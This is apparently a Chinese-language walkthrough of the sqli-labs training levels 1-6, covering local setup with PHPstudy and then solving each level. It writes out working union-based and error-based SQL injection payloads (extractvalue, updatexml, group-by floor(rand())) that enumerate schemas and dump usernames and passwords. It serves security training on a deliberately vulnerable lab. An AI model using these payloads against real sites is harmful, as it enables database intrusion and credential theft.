1.配置环境(PHPstudy)
①打开PHPstudy新建网站
②需要注意修改php版本和端口(不能重复),否则会报错③将含有sql题目的文件放到此目录下
④打开本地网站,进入该页面 ⑤如出现下页面则说明配置完成,开始做题了!
二、sql题目
提示:在URL编码中的符号
(%20)(+) = 空格
(%27) = '
(0x3a)(0x)为十六进制标志,3a是ASCII中的 :(冒号)
-- 单行注释(--后必须加一个空格,否则无法起到注释作用)
# 单行注释
/**/ 多行注释
1、1-4题(联合查询)
①通过联合查询判断注入点
我们由报错信息可知,‘是异常位置并提示’位置
令id为不存在的值,利用联合查询依次查询数据库名称,表名,字段,和敏感数据
-- 数据库名称
?id=-1' union select 1,2 database()
-- 表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
-- 各字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
-- 查询敏感数据
?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+
同理可做2,3,4
原理就是通过报错信息判断该漏洞类型是否为“可联合查询注入”
当查询数据会返回显示界面时可以考虑使用union联合查询的方式,
联合查询有两个必要条件:
- 两张虚拟表具有相同的列数
- 两张虚拟表对应列的数据类型相同
当可以使用联合查询时,基本步骤为:猜测虚拟表列数->获取数据库名->获取表名->获取列名->获取数据
1、5-6题(联合查询)
继续使用联合查询我们发现内容不会返回显示界面
于是我猜测这是一个报错注入 ,我查询当前版本的报错函数并进行尝试,得到以下结果
之后我查询到以下内容并确定这是一个报错型注入
基于错误的注入:当输入特殊字符页面出现报错信息时则可以考虑使用基于错误的注入
xpath报错
(1) http://192.168.254.132/sqli-labs/Less-1/?id=-1’ and extractvalue(1,concat(user(),0x7e,version()))–+
(2)http://192.168.254.132/sqli-labs/Less-1/?id=-1’ and updatexml(1,concat(user(),0x7e,database(),0x7e,version()),1)–+group by 报错
http://192.168.254.132/sqli-labs/Less-1/?id=-1’ and (select 1 from (select count(*),concat((select concat(username,password) from users limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x) a )–+
通过extractvalue函数得知数据库名称,之后的步骤与联合查询类似,但使用的sql语句不同
由于回显长度有限,只能用limit分段获取,首先需要查询有几个数据
查到有13个数据,用limit分段获取
分别为0,1 1,1 2,1 以此类推
-- 数据库名称
?id=1' and extractvalue(1,concat(0,(select database()))) --+
-- 表名
?id=1 ' and extractvalue(1,concat(0,(select table_name from information_schema.tables where table_schema=database() limit 3,1))) --+
-- 列名
?id=1 ' and extractvalue(1,concat(0,( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1 ))) --+
-- 数据
?id=1 ' and extractvalue(1,concat(0,( select concat(id,0x7e,username,password) from users limit 0,1))) --+
第六题同理